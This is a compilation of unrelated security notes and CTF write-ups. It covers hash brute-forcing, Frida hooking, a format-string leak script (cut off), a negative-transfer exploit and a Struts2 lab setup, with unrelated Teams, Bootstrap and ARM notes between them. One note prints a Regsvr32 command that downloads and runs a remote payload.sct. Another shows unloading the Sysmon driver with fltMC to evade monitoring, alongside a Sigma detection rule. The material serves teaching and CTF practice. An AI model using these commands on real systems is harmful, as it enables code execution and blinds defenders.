Each character we find is part of the flag.
We had some problems with getting the right epoch value (timezones etc) so we hardcoded the current epoch and were looking from that point.
The hash has 160 bits so we assume it's SHA-1.
The solution is quite simple: we loop over possible timestamps and printable characters and we test if hashing them together will give the hash value we look for. Once we find the proper hash we send the response to the server and collect another hash for another character of the flag.
```python
import hashlib
import re
import socket
import string
def brute_result(hashval):
timestamp = 1455987261
i = 0
while True:
for c in string.printable:
brute = str(timestamp + i) + ":" + c
h = hashlib.sha1(brute).digest().encode("hex")
if hashval == h:
return str(timestamp + i)+":"+c
i += 1
print ":("
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 11117))
regex = "Char \d+: Time is (\d+):(\d+):(\d+), .* hash is: (.+)"
chars = []
initial_data = str(s.recv(4096))
print(initial_data)
try:
while True:
task = str(s.recv(4096))
print(task)
m = re.match(regex, task)
hour = m.group(1)
minute = m.group(2)
sec = m.group(3)
hashval = m.group(4)
print(hour, minute, sec, hashval)
result = brute_result(hashval)
print(result)
s.sendall(result + "\n")
chars.append(result.split(":")[1])
s.recv(4096)
except:
print "".join(chars)
main()
```
After some time we get: `IW{M4N_Y0U_C4N_B3_BF_M4T3RiAL!}`
###PL version
Serwer przysyła dane w postaci:
Hint: Format is TIME:CHAR
Char 0: Time is 22:02:54, 052th day of 2016 +- 30 seconds and the hash is: ae3c4c0487d14dd3314facdc2d4408a845da947f
A naszym zadaniem jest znaleźć właściwy timestamp oraz właściwy znak które razem hashują się do podanej wartości.
Każdy znaleziony znak to fragment flagi.
Mieliśmy pewne problemy z ustaleniem poprawnej wartości epoch (strefy czasowe etc) więc finalnie hardkodowaliśmy aktualną wartość epoch i szukaliśmy od tego punktu.
Hash ma 160 bitów więc założyliśmy że to SHA-1.
Rozwiązanie jest dość proste: pętlimy po wszystkich możliwych timestampach oraz znkach i sprawdzamy czy hashując je razem dostaniemy podany w zadaniu hash. Kiedy znajdziemy odpowiednie wartości wysyłamy odpowiedź do serwera i pobieramy kolejny hash dla kolejnego znaku flagi.
```python
import hashlib
import re
import socket
import string
def brute_result(hashval):
timestamp = 1455987261
i = 0
while True:
for c in string.printable:
brute = str(timestamp + i) + ":" + c
h = hashlib.sha1(brute).digest().encode("hex")
if hashval == h:
return str(timestamp + i)+":"+c
i += 1
print ":("
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 11117))
regex = "Char \d+: Time is (\d+):(\d+):(\d+), .* hash is: (.+)"
chars = []
initial_data = str(s.recv(4096))
print(initial_data)
try:
while True:
task = str(s.recv(4096))
print(task)
m = re.match(regex, task)
hour = m.group(1)
minute = m.group(2)
sec = m.group(3)
hashval = m.group(4)
print(hour, minute, sec, hashval)
result = brute_result(hashval)
print(result)
s.sendall(result + "\n")
chars.append(result.split(":")[1])
s.recv(4096)
except:
print "".join(chars)
main()
```
Po kilkunastu zadaniach dostajemy: `IW{M4N_Y0U_C4N_B3_BF_M4T3RiAL!}`
|
sec-knowleage
|
# T1562-001-win-卸载安全工具使用的驱动程序-fltMC.exe(白名单)
## 来自ATT&CK的描述
攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。
在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。
## 测试案例
Fltmc.exe程序是系统提供的用于常见微筛选器驱动程序管理操作的命令行实用程序。 开发人员可以使用 Fltmc.exe来加载和卸载微筛选器驱动程序、附加或分离微筛选器驱动程序和枚举微筛选器驱动程序、实例和卷。 在具有管理员权限的命令提示符下,键入 `fltmc help` 以查看完整的命令列表。
路径:
```
- C:\Windows\System32\fltMC.exe
```
卸载安全代理使用的驱动程序:
```bash
fltMC.exe unload SysmonDrv
```
用例:防御规避
所需权限:管理员
操作系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10
## 检测日志
Windows安全日志、Sysmon日志
## 测试复现
Windows 10,测试机未安装Sysmon,故测试过程中,卸载失败。
```bash
C:\Windows\system32>fltMC.exe unload SysmonDrv
卸载失败,出现错误: 0x801f0013
系统无法找到指定的筛选器。
```
## 测试留痕
```log
已创建新进程。
创建者主题:
安全 ID: DESKTOP-PT656L6\liyang
帐户名: liyang
帐户域: DESKTOP-PT656L6
登录 ID: 0x470C5
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xea4
新进程名称: C:\Windows\System32\fltMC.exe
令牌提升类型: %%1937
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x1acc
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: fltMC.exe unload SysmonDrv
```
## 检测规则/思路
参考Sigma官方规则
```
title: Sysmon Driver Unload
id: 4d7cda18-1b12-4e52-b45c-d28653210df8
status: experimental
author: Kirill Kiryanov, oscd.community
description: Detect possible Sysmon driver unload
date: 2019/10/23
modified: 2021/09/27
references:
- https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon
logsource:
product: windows
category: process_creation
tags:
- attack.defense_evasion
- attack.t1070
- attack.t1562
- attack.t1562.002
detection:
selection:
Image|endswith: '\fltmc.exe'
CommandLine|contains|all:
- 'unload'
- 'sys'
condition: selection
falsepositives:
- Unknown
level: high
fields:
- CommandLine
- Details
```
### 建议
Sigma官方规则还是比较简单的,针对进程和命令行参数进行监测。
## 相关TIP
[[T1562-001-win-停止windows防御服务]]
[[T1562-003-linux-Histcontrol]]
[[T1562-006-win-停止日志采集]]
## 参考推荐
MITRE-ATT&CK-T1562-001
<https://attack.mitre.org/techniques/T1562/001/>
如何规避Sysmon
<https://www.anquanke.com/post/id/161630>
fltMC.exe
<https://lolbas-project.github.io/lolbas/Binaries/FltMC/>
用于微筛选器开发和测试的工具
<https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ifs/development-and-testing-tools>
|
sec-knowleage
|
# ZKPay (crypto?/web, 308p, 51 solved)
This turned out to be a rather confusing challenge.
We suspect that no-one actually solved it `the intended way`, which, we guess, involved some Zero-Knowledge Proofs.
In the task we can register on a webpage for money transfers.
We get initial transfer of 500 from the admin, and we need 1000000 to get the flag.
First obvious idea would be to simply register 20k accounts and transfer all the money to a single one, and judging by some organizers announcements, some teams tried that...
We guess that intended solution required figuring out how the signature for the transfer is generated, and forge a fake transfer of 1000000 from the admin.
However, the application had a major flaw with signed-unsigned comparison.
When doing a transfer the application did check if our account balance is `>=` of the value we want to send to someone.
But those values were signed!
It means we could simply transfer negative values and, of course, `500 > -1000000`, and the system would `deduct` this amount from our account via `500 - (-1000000)` effectively granting the money to us.
This way we get `SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}`
|
sec-knowleage
|
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.32-showcase
ports:
- "8080:8080"
|
sec-knowleage
|
---
title: Microsoft Teams
date: 2022-11-23 16:23:31.706764
background: bg-[#4aa4ea]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 38 keyboard shortcuts found in Microsoft Teams
---
Keyboard Shortcuts
------------------
### General
Shortcut | Action
---|---
`Ctrl` `.` | Show keyboard shortcuts
`Ctrl` `E` | Go to search
`Ctrl` `/` | Show commands
`Ctrl` `G` | Goto
`Ctrl` `N` | Start new chat
`Ctrl` `,` | Open settings
`F1` | Open help
`Esc` | Close
`Ctrl` `=` | Zoom in
`Ctrl` `-` | Zoom out
`Ctrl` `0` | Return to default zoom
{.shortcuts}
### Navigation
Shortcut | Action
---|---
`Ctrl` `1` | Open activity
`Ctrl` `2` | Open chat
`Ctrl` `3` | Open teams
`Ctrl` `4` | Open calendar
`Ctrl` `5` | Open calls
`Ctrl` `6` | Open files
`Alt` `Up` | Go to previous list item
`Alt` `Down` | Go to next list item
`Ctrl` `Shift` `Up` | Move selected team up
`Ctrl` `Shift` `Down` | Move selected team down
`Ctrl` `Shift` `F6` | Go to the previous section
`Ctrl` `F6` | Go to the next section
{.shortcuts}
### Messaging
Shortcut | Action
---|---
`Alt` `Shift` `C` | Go to compose box
`Ctrl` `Shift` `X` | Expand compose box
`Ctrl` `Enter` | Send, in the expanded compose box
`Ctrl` `O` | Attach a file
`Shift` `Enter` | Start a new line
`Alt` `Shift` `R` | Reply to thread
{.shortcuts}
### Meetings and Calls
Shortcut | Action
---|---
`Ctrl` `Shift` `A` | Accept video call
`Ctrl` `Shift` `S` | Accept audio call
`Ctrl` `Shift` `D` | Decline call
`Ctrl` `Shift` `C` | Start audio call
`Ctrl` `Shift` `U` | Start video call
`Ctrl` `Shift` `M` | Toggle mute
`Ctrl` `Shift` `O` | Toggle video
`Ctrl` `Shift` `F` | Toggle fullscreen
`Ctrl` `Shift` `Space` | Go to sharing toolbar
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Microsoft Teams](https://support.microsoft.com/en-us/office/keyboard-shortcuts-for-microsoft-teams-2e8e2a70-e8d8-4a19-949b-4c36dd5292d2) _(support.microsoft.com)_
|
sec-knowleage
|
## 常用的UI库
### Bootstrap
#### 简介
Bootstrap,来自 Twitter,是一个用于快速开发 Web 应用程序和网站的前端框架(UI库)。Bootstrap 是基于 HTML、CSS、JAVASCRIPT 的。
#### 引用
1. 直接在官网下载引用
```
http://getbootstrap.com/2.3.2/assets/bootstrap.zip
```
下载解压后引入需要的`css`,`js`等
2. 直接引用CDN
```
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
```
3. 通过`npm`装包
```
npm install bootstrap --save
```
#### BootStrap的使用
##### H5 文档类型
```
<!DOCTYPE html>
<html lang="zh-CN">
...
</html>
```
##### 移动设备优先
```
//为了确保适当的绘制和触屏缩放,需要在 <head> 之中添加 viewport 元数据标签。
<meta name="viewport" content="width=device-width, initial-scale=1 user-scalable=no">
//通过为视口(viewport)设置 meta 属性为 user-scalable=no 可以禁用其缩放(zooming)功能
```
##### 布局容器(为页面内容和栅格系统包裹一个 .container)
.container 类用于固定宽度并支持响应式布局的容器。
```
<div class="container">
...
</div>
```
##### 栅格系统
- `row`必须包含在`.container`或`.container-fluid`中。
- 通过`row`在水平方向创建一组 列`column`,作为`row`的直接子元素。
- 栅格系统中的列是通过指定1到12的值来表示其跨越的范围。
- 如果一行中包含了的`column`大于12,多余的`column`另起一行排列。
- 栅格类利用类前缀进行自适应布局。
**栅格的参数**
- 超小屏幕 手机(<768px) **.col-xs-**
- 中等屏幕 桌面显示器(≥992px) **.col-sm-**
- 小屏幕 平板(≥768px) **.col-md-**
- 大屏幕 大桌面显示器(≥1200px) **.col-lg-**
**列偏移**
使用`.col-md-offset-*`类可以将列向右侧偏移。这些类实际是通过使用`*`选择器为当前元素增加了左侧的边距(margin)
**例**:
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="./bootstrap.min.css">
<style>
div{
border:1px solid blue;
}
</style>
</head>
<body>
<div class="wrap">
<div class="container-fluid">
<h1 style='text-align:center;'>BootStrap</h1>
<div class="row">
<div class="col-md-4 col-xs-6">.col-md-4</div>
<div class="col-md-4 col-md-offset-4 col-xs-2 col-xs-offset-4">.col-md-4 .col-md-offset-4</div>
</div>
<div class="row">
<div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div>
<div class="col-md-3 col-md-offset-3">.col-md-3 .col-md-offset-3</div>
</div>
<div class="row">
<div class="col-md-6 col-md-offset-3">.col-md-6 .col-md-offset-3</div>
</div>
</div>
</div>
</body>
</html>
```
#### 其他功能应用
##### 文本
不同的类展示了不同的文本颜色。如果文本是个链接鼠标移动到文本上会变暗
```
.text-muted
.text-primary
.text-success
.text-info
.text-warning
.text-danger
```
##### 背景
不同的类展示了不同的背景颜色。 如果文本是个链接鼠标移动到文本上会变暗
```
.bg-primary
.bg-success
.bg-info
.bg-warning
.bg-dange
```
##### 其他
```
.pull-left //元素浮动到左边
.pull-right //元素浮动到右边
.center-block //设置元素为 display:block 并居中显示
.clearfix //清除浮动
.show //强制元素显示
.hidden //强制元素隐藏
.sr-only //除了屏幕阅读器外,其他设备上隐藏元素
.sr-only-focusable //与 .sr-only 类结合使用,在元素获取焦点时显示(如:键盘操作的用户)
.text-hide //将页面元素所包含的文本内容替换为背景图
.close //显示关闭按钮
.caret //显示下拉式功能
```
#### 插件的使用
**所有的插件依赖于 jQuery。所以必须在插件文件之前引用 jQuery**
**引入使用的插件或压缩的JS**
##### 静态实例
以下模态框包含了模态框的头、体和一组放置于底部的按钮。
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="http://cdn.static.runoob.com/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<h1 style='text-align:center'>BootStrap</h1>
<button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#myModal">
Launch demo modal
</button>
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="myModalLabel">Modal title</h4>
</div>
<div class="modal-body">
...
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary">Save changes</button>
</div>
</div>
</div>
</div>
<script>
$('#myModal').on('shown.bs.modal', function () {
$('#myInput').focus()
})
</script>
</body>
</html>
```
#### 参考地址
Bootstrap官网首页:[点击进入](http://getbootstrap.com/)
Bootstrap中文网:[点击进入](http://www.bootcss.com/)
BootCDN官网首页:[点击进入](http://www.bootcdn.cn/)
|
sec-knowleage
|
# Oh, Bugger
Category: Mobile, 300 Points
## Description
>
> Hello agent,
>
> Our field operatives managed to get their hands on a mobile device thought to belong to an important asset.
>
> The R&D department has narrowed their research down to a specific app, which they believe contains important information.
>
> Now it’s up to you to find a way to retrieve it.
>
> Good luck!
An apk was attached.
## Solution
Let's extract the APK:
```console
root@kali:/media/sf_CTFs/matrix/Oh_Bugger# ~/utils/jadx/build/jadx/bin/jadx -d output buggeroff.apk
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 1
```
We get lots of files, but the interesting ones are here:
```console
root@kali:/media/sf_CTFs/matrix/Oh_Bugger/output/sources/com/w# tree -r
.
└── buggeroff
├── R.java
├── MainActivity.java
├── GenerateKeys.java
└── BuildConfig.java
1 directory, 4 files
```
`MainActivity.java` contains:
```java
package com.w.buggeroff;
import android.content.Context;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class MainActivity extends AppCompatActivity {
String alg = "AES_256/CBC/PKCS7Padding";
Button b;
Cipher cipher;
TextView t;
public static boolean setOperation(int i) {
return i == 1;
}
/* access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
TextView textView = (TextView) findViewById(R.id.textView);
this.t = textView;
textView.setText(R.string.flagTextView);
Button button = (Button) findViewById(R.id.button);
this.b = button;
button.setText(R.string.flagButton);
this.b.setOnClickListener(new View.OnClickListener(getApplicationContext()) { // from class: com.w.buggeroff.-$$Lambda$MainActivity$CVSqxdPSN7ok2Dz-simIOyQFWxU
public final /* synthetic */ Context f$1;
{
this.f$1 = r2;
}
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.this.lambda$onCreate$0$MainActivity(this.f$1, view);
}
});
}
public /* synthetic */ void lambda$onCreate$0$MainActivity(Context context, View view) {
if (!setOperation(0)) {
Toast.makeText(context, "bugger off!", 0).show();
return;
}
try {
this.cipher = Cipher.getInstance(this.alg);
byte[] key = GenerateKeys.getKey(context);
this.cipher.init(2, new SecretKeySpec(Arrays.copyOfRange(key, 0, 32), this.alg), new IvParameterSpec(Arrays.copyOfRange(key, 48, 64)));
this.cipher.doFinal(Base64.decode("iGWkBaxepj8l7BrKpeIntuEjRqHv3Tt41hRw7w+UwwcXTrlb/l9tELh9RflIpyDT", 0));
} catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) {
e.printStackTrace();
}
}
}
```
`GenerateKey.java` contains:
```java
package com.w.buggeroff;
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.pm.Signature;
import android.util.Base64;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class GenerateKeys {
public static byte[] getKey(Context context) {
String str = "";
try {
Signature[] apkContentsSigners = context.getPackageManager().getPackageInfo(BuildConfig.APPLICATION_ID, 134217728).signingInfo.getApkContentsSigners();
for (Signature signature : apkContentsSigners) {
MessageDigest instance = MessageDigest.getInstance("SHA-384");
instance.update(signature.toByteArray());
str = Base64.encodeToString(instance.digest(), 0, instance.getDigestLength(), 2);
}
} catch (PackageManager.NameNotFoundException | NoSuchAlgorithmException e) {
e.printStackTrace();
}
return str.getBytes();
}
}
```
We can see that the main activity creates a button, labels it with the text from `R.string.flagButton` and performs some action when it is clicked:
```java
if (!setOperation(0)) {
Toast.makeText(context, "bugger off!", 0).show();
return;
}
try {
this.cipher = Cipher.getInstance(this.alg);
byte[] key = GenerateKeys.getKey(context);
this.cipher.init(2, new SecretKeySpec(Arrays.copyOfRange(key, 0, 32), this.alg), new IvParameterSpec(Arrays.copyOfRange(key, 48, 64)));
this.cipher.doFinal(Base64.decode("iGWkBaxepj8l7BrKpeIntuEjRqHv3Tt41hRw7w+UwwcXTrlb/l9tELh9RflIpyDT", 0));
} catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) {
e.printStackTrace();
}
```
The first condition seems to be impossible to bypass natively, due to the implementation of `setOperation`:
```java
public static boolean setOperation(int i) {
return i == 1;
}
```
Since the function is called with the parameter of `0`, it will return false, causing the application to pop-up a "bugger off!" message.
We can see this when running the application with the emulator:

Since we'd like to change the runtime behavior of the application in order to bypass this condition, we should probably turn to [Frida](https://frida.re/) - a "Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers".
> Inject your own scripts into black box processes. Hook any function, spy on crypto APIs or trace private application code, no source code needed. Edit, hit save, and instantly see the results. All without compilation steps or program restarts.
Frida scripts are written in Javascript. Let's start by presenting just the code needed to bypass our problematic condition. At the end, we'll show the boilerplate code as well.
```javascript
// Function to hook is defined here
var ma = Java.use('com.w.buggeroff.MainActivity');
ma.setOperation.overload('int').implementation = function (a) {
console.log('[*] Intercepted setOperation !');
return true;
};
```
Here we're replacing the `setOperation` with an alternative implementation that always returns `true` (after logging some debug message to the console).
Assuming this will allow us to move forward, how do we get the flag? We can see that the flag is the product of some cryptographic operation, so we chose to simply hook the cryptographic function and print its result to the log:
```javascript
var c = Java.use("javax.crypto.Cipher");
c.doFinal.overload('[B').implementation = function (x) { // replace original implementation
var value = this.doFinal(x); // call original implementation
var androidBase64 = Java.use('android.util.Base64')
var bytesInJava = androidBase64.encodeToString(value, 0)
console.log(bytesInJava);
// then do what you want with the returned value HERE
// and finally return it so you don't break the app
return value;
};
```
This should log to the console the result of the decryption (base64-encoded) by hooking `doFinal`.
Adding the Firda boilerplate code (which is actually in Python), we get:
```python
import frida, sys
import time
def on_message(message, data):
if message['type'] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)
jscode = """
Java.perform(function () {
// Function to hook is defined here
var ma = Java.use('com.w.buggeroff.MainActivity');
ma.setOperation.overload('int').implementation = function (a) {
console.log('[*] Intercepted setOperation !');
return true;
};
var c = Java.use("javax.crypto.Cipher");
c.doFinal.overload('[B').implementation = function (x) { // replace original implementation
var value = this.doFinal(x); // call original implementation
var androidBase64 = Java.use('android.util.Base64')
var bytesInJava = androidBase64.encodeToString(value, 0)
console.log(bytesInJava);
// then do what you want with the returned value HERE
// and finally return it so you don't break the app
return value;
};
});
"""
device = frida.get_usb_device()
pid = device.spawn(["com.w.buggeroff"])
session = device.attach(pid)
script = session.create_script(jscode)
script.on('message', on_message)
print('[*] Running CTF')
script.load()
time.sleep(1)
device.resume(pid)
sys.stdin.read()
```
To run it, we first run:
```
adb root
adb push frida-server /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
```
The we run the Python file, followed by pressing "tap" in the application:
```console
$ python3 bugger.py
[*] Running CTF
[*] Intercepted setOperation !
TUNMezBCZnU1Q2E3aW45XzRuRHJvMURfTm9fNXRSMU5nNV9BN3Q0Y2gzZH0=
```
And we get the base64-encoded flag.
Let's decode it:
```console
$ echo TUNMezBCZnU1Q2E3aW45XzRuRHJvMURfTm9fNXRSMU5nNV9BN3Q0Y2gzZH0= | base64 -d
MCL{0Bfu5Ca7in9_4nDro1D_No_5tR1Ng5_A7t4ch3d}
```
|
sec-knowleage
|
# 应用
---
## Regsvr32
Regsvr32 命令用于注册 COM 组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP 及以上系统的 regsvr32.exe 在 windows\system32 文件夹下;2000 系统的 regsvr32.exe 在 winnt\system32 文件夹下。
注意在 Windows 操作系统的 64 位版本上,有两个版本的 Regsv32.exe 文件:
- 64位版本为 %systemroot%\System32\regsvr32.exe。
- 32位版本是 %systemroot%\SysWoW64\regsvr32.exe。
下面是常用参数
```bash
regsvr32 xxx.dll
regsvr32 /u /n /s /i:http://192.168.1.1:80/payload.sct scrobj.dll
# /u 取消注册
# /s 指定 regsvr32 安静运行,在成功注册 / 反注册 DLL 文件的前提下不显示结果提示框。
# /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
# /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。
```
更多内容参考:
- https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages
|
sec-knowleage
|
# ARM
介绍 arm 基础内容。
## 1. arm汇编基础
### 1. LDMIA R0 , {R1,R2,R3,R4}
LDM为: 多寄存器“内存取”指令
IA表示每次LDM指令结束之后R0增加1个字
最终结果为R1 = [R0], R1 = [R0+#4], R1 = [R0+#8], R1 = [R0+#0xC]
### 2. 堆栈寻址 (FA、EA、FD、ED)
STMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR入栈
LDMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR出栈
### 3. 块拷贝寻址
LDM和STM为指令前缀,表示多寄存器寻址,指令后缀(IA、DA、IB、DB)。
LDMIA R0!, {R1-R3} @从R0所指向的内存地址依次取出3个字到R1、R2、R3寄存器
STMIA R0!, {R1-R3} @将R1、R2、R3所存储的内容依次存放在R0所指向的内存。
### 4. 相对寻址
```
以当前程序计数器PC的当前值为基地址,将标号标记位置为偏移量,两者相加得
到有效地址。
BL NEXT
...
NEXT:
...
```
## 2. 指令集
### 1. 由于arm芯片更新很快,所以指令集很多,使用较为普遍的就是arm指令集以及Thumb指令集。
### 2.跳转指令
arm实现了两种跳转类型,一种是直接使用跳转指令,另外一种则是给PC寄存器直接赋值。
#### 1. B跳转指令
```
结构 B{cond} label
直接跳走,如`BNE LABEL`
```
#### 2. BL跳转指令
```
结构 BL{cond} label
执行BL指令时,若条件满足,则首先将当前指令的下一条指令的地址赋值给R14寄存器(LR),然
后跳转到label标记的地址处继续执行。一般用在过程调用中,过程结束之后通过`MOV PC, LR`返回
```
#### 3. BX带状态切换的跳转指令
```
结构 BX{cond}Rm
当执行BX指令时,如果条件满足,会判断Rm寄存器的位[0]是否为1,如果是1则会在跳转时自动将CPSR寄存器的T标志位置为1,并将目标位置处的指令解析为Thumb指令,相反,若Rm寄存器的位[0]为0,则将CPSR寄存器的T标志位复位,同时将目标位置的指令解析为arm指令。
```
如下:
```
ADR R0, thumbcode + 1
BX R0 @跳转到thumbcode。并且处理器运行为thumb模式
thumbcode:
.code 16
```
#### 4.BLX带链接和状态切换的跳转指令
```
结构 BLX{cond}Rm
BLX指令集合了BL和BX的功能,在BX的功能上同时保存返回地址到R14(LR)
```
### 3.寄存器访问指令
存储器访问指令操作包括从存储区加载数据,存储数据到存储器,寄存器与存储器之间的数据交换等。
#### `LDR`
将内存中的数据放入到寄存器中
指令示例:
```
LDRH R0,[R1] ;将存储器地址为R1的半字数据读入寄存器R0,并将R0的高16位清零。
LDRH R0,[R1,#8] ;将存储器地址为R1+8的半字数据读入寄存器R0,并将R0的高16位清零。
LDRH R0,[R1,R2] ;将存储器地址为R1+R2的半字数据读入寄存器R0,并将R0的高16位清零。
```
#### `STR`
STR用于存储数据到制定地址。格式如下:
STR{type}{cond}Rd,label
STRD{cond}Rd,Rd2,label
用法如下:
`STR R0,[R2,#04]` 将R0的值存储到R2+4的地址处
#### `LDM`
```
LDM{addr_mode}{cond}Rn{!}reglist
```
该指令是将内存中堆栈内的数据,批量的赋值给寄存器,即是出栈操作。
> 特别注意, ! 为可选后缀。如果有 ! 则最终地址会写回到Rn寄存器
#### `STM`
STM将一个寄存器列表的数据存储到指定的地址单元中。格式如下
```
STM{addr_mod}{cond}Rn{!}reglist
```
#### `PUSH&&POP`
格式如下:
PUSH{cond}reglist
POP{cond}reglist
栈操作指令
```
PUSH {r0,r4-r7}
POP {r0,r4-r7}
```
#### `SWP`
### 寄存器之间的数据交换。
格式为`SWP{B}{cond}Rd,Rm,[Rn]`
B是可选的字节,若有B,则交换字节,否则交换字
Rd为临时存放的寄存器,Rm是`要替换`的值
Rn是`要被替换`的数据地址
### 参考链接
[arm 指令学习](https://ring3.xyz/2017/03/05/[%E9%80%86%E5%90%91%E7%AF%87]arm%E6%8C%87%E4%BB%A4%E5%AD%A6%E4%B9%A0/)
[常用arm指令](http://www.51-arm.com/upload/ARM_%E6%8C%87%E4%BB%A4.pdf)
[arm-opcode-map](http://imrannazar.com/ARM-Opcode-Map)
|
sec-knowleage
|
# Secure Service
Category: Reversing & Binary Exploitation
## Description
> The department of EEvil created a service to spread flags and ruin the competition, the service requires a passcode in order to receive the flag, see if you can get the passcode.
A binary file was attached, as well as server details.
## Solution
Let's run the attached binary:
```console
root@kali:/media/sf_CTFs/technion/Secure_Service# ./secure_service
Welcome to the EEvil departement secure service
Please enter you name: Fake
Hello Fake, Please enter the passcode: Password1
This is not the code! Are you trying to hack us?
```
The program asks us for a name and password. We probably need to provide the correct combination to get the flag.
Let's open the program in Ghidra:
```c
undefined8 main(void)
{
int iVar1;
long lVar2;
char *local_RDI_43;
long in_FS_OFFSET;
char user_password [16];
char real_password [16];
char user_name [104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
lVar2 = 0xc;
local_RDI_43 = user_name;
while (lVar2 != 0) {
lVar2 = lVar2 + -1;
*(undefined8 *)local_RDI_43 = 0;
local_RDI_43 = local_RDI_43 + 8;
}
*(undefined4 *)local_RDI_43 = 0;
user_password._0_8_ = 0;
user_password._8_8_ = 0;
real_password._0_8_ = 0x2323232323232323;
real_password._8_8_ = 0x232323232323;
puts("Welcome to the EEvil departement secure service");
printf("Please enter you name: ");
__isoc99_scanf("%100s",user_name);
printf("Hello ");
printf(user_name);
printf(", Please enter the passcode: ");
__isoc99_scanf(&DAT_00100b0b,user_password);
iVar1 = strcmp(real_password,user_password);
if (iVar1 == 0) {
puts("Great, here is the flag: ################\nLong Live the EEmpire!");
}
else {
puts("This is not the code! Are you trying to hack us?");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
}
```
We can see a few things here:
* If we get the password right, we will indeed get the flag (however the local binary provided to us has the flag redacted)
* The expected password is saved on the stack (in the local binary it's `'##############'`)
* Most importantly: The name we provide to the program is passed as-is to `printf`, causing a format string vulnerability
Using this vulnerability, we can craft our name to look like a format string instead of a plain string by including format specifiers such as `%x`. This will cause the program to print back values from the stack:
```console
root@kali:/media/sf_CTFs/technion/Secure_Service# ./secure_service
Welcome to the EEvil departement secure service
Please enter you name: %x
Hello 6f0a5b50, Please enter the passcode:
```
Instead of printing `%x`, the program treated it as a format specifier and printed a value from the stack: `6f0a5b50`.
We write a short script to dump a few values from the stack:
```python
# First, generate pwntools template via:
# pwn template --host ctf.cs.technion.ac.il --port 4007 ./secure_service
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
def leak(index):
with context.local(log_level='ERROR'):
io = start()
io.sendline(f"%{index}$p")
io.recvuntil("Hello ")
leaked = io.recvuntil(",", drop = True)
io.close()
res = leaked.decode("ascii")
if res == "(nil)":
res = "0"
return res
for i in range(1, 20):
leaked_hex = leak(i)
